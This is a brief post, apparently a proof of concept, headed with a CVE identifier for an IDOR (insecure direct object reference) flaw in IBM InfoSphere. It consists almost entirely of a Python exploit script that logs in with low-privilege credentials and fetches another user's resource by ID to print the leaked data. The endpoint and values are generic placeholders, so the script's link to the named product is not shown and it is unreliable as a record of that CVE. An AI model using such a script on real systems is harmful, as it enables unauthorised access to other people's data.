CVE-2025-14974 IBM InfoSphere IDOR漏洞

import requests # Configuration target_host = "http://target-server:port" vulnerable_endpoint = "/api/internal/data/{id}" target_id = "target_user_id_or_file_id" # ID belonging to another user # Attacker credentials (Low Privilege) username = "attacker" password = "password" # Perform Login session = requests.Session() login_payload = {"username": username, "password": password} session.post(f"{target_host}/login", data=login_payload) # Exploit IDOR # Attempt to access a resource by directly referencing its ID exploit_url = target_host + vulnerable_endpoint.format(id=target_id) response = session.get(exploit_url) if response.status_code == 200: print("[+] Exploit Successful! Leaked Data:") print(response.text) else: print(f"[-] Attack failed with status code: {response.status_code}")